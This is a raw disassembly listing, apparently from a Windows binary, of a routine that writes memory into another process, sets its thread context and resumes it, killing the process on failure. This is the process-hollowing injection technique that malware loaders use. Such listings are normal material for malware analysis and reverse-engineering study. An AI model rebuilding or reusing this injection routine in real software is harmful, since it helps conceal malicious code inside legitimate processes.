fstp qword [ebp - 0xb4]
fild dword [ebp - 0x60]
fstp qword [ebp - 0xbc]
fld qword [ebp - 0xbc]
fsub qword [0x100273b0]
fstp qword [ebp - 0xc4]
fld qword [ebp - 0xc4]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xcc], esp
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0xc8]
fld qword [ebp - 0xb4]
call fcn.1000109d
push eax
fld qword [ebp - 0x98]
call fcn.1000109d
push eax
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0xcc], esp
je 0x10003ad0
push 6
call fcn.1000fa51
add esp, 4
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x10003928
add esp, 0xc
fild dword [ebp - 0x50]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fild dword [ebp - 0x18]
fstp qword [ebp - 0x78]
fadd qword [ebp - 0x78]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.1000109d
mov dword [ebp - 0x64], eax
fild dword [ebp - 0x10]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fadd qword [0x10027326]
fstp qword [ebp - 0x78]
push 0x80000301
push 0
push 4
fld qword [ebp - 0x78]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push 0
push 3
mov ebx, 0x914
call fcn.100121b0
add esp, 0x28
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push dword [ebp - 0x14]
push 2
mov ebx, 0xc4
call fcn.10012290
add esp, 0x1c
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x2000
jne 0x10003cf9
push 0x80000301
push 0
push dword [ebp - 0x50]
push 1
mov ebx, 0x198
call fcn.10011c00
add esp, 0x10
mov dword [ebp - 0x6c], eax
push 0x80000301
push 0
push dword [ebp - 0x64]
push 1
mov ebx, 0x198
call fcn.10011c00
add esp, 0x10
mov dword [ebp - 0x70], eax
push 0x100273b8
push dword [ebp - 0x70]
push 0x100273c2
push dword [ebp - 0x6c]
push 0x100273cb
mov ecx, 5
call fcn.1000275f
add esp, 0x14
mov dword [ebp - 0x74], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x10003c08
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x10003c18
push ebx
call fcn.1000fa45
add esp, 4
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10003c2f
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 0x68], eax
fild dword [ebp - 0x50]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fild dword [ebp - 0x20]
fstp qword [ebp - 0x78]
fadd qword [ebp - 0x78]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.1000109d
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x6c], ebx
push 0x80000005
push 0
mov eax, dword [ebp - 0x68]
test eax, eax
jne 0x10003c78
mov eax, 0x10027258
push eax
push 1
mov ebx, 0x30
mov eax, 0x1001a819
call fcn.1000fea0
add esp, 0x10
mov dword [ebp - 0x70], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x68]
test eax, eax
jne 0x10003ca6
mov eax, 0x10027258
push eax
push 1
mov ebx, 0x194
call fcn.10011cd0
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], esp
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x70]
push dword [ebp - 0x64]
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0x78], esp
je 0x10003cf9
push 6
call fcn.1000fa51
add esp, 4
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fadd qword [0x100273e2]
fstp qword [ebp - 0x78]
push 0x80000301
push 0
push 4
fld qword [ebp - 0x78]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push dword [ebp - 0x64]
push 3
mov ebx, 0x914
call fcn.100121b0
add esp, 0x28
mov ebx, dword [ebp - 0x34]
add ebx, 4
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x70], esp
push dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
nop
nop
cmp dword [ebp - 0x70], esp
je 0x10003d79
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
je 0x10003dc5
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x70], esp
push 0
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
cmp dword [ebp - 0x70], esp
je 0x10003dbb
push 6
call fcn.1000fa51
add esp, 4
mov eax, 6
jmp 0x10003e5c
mov ebx, dword [ebp - 0x34]
add ebx, 4
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x70], esp
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
nop
nop
cmp dword [ebp - 0x70], esp
je 0x10003df2
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
je 0x10003e3e
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x70], esp
push 0
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
cmp dword [ebp - 0x70], esp
je 0x10003e34
push 6
call fcn.1000fa51
add esp, 4
mov eax, 7
jmp 0x10003e5c
cmp dword [ebp + 0xc], 0
je 0x10003e52
push 0
call fcn.1000fa69
add esp, 4
mov eax, 0
jmp 0x10003e5c
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10003e6d
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10003e7d
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10003e8d
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x30]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x10003ea4
push ebx
call fcn.1000fa45
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x10003eb8
push ebx
call fcn.1000fa45
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x10003ecc
push ebx
call fcn.1000fa45
add esp, 4
pop ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x34]
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10003ef1
push ebx
call fcn.1000fa45
add esp, 4
pop eax
leave
ret 0xc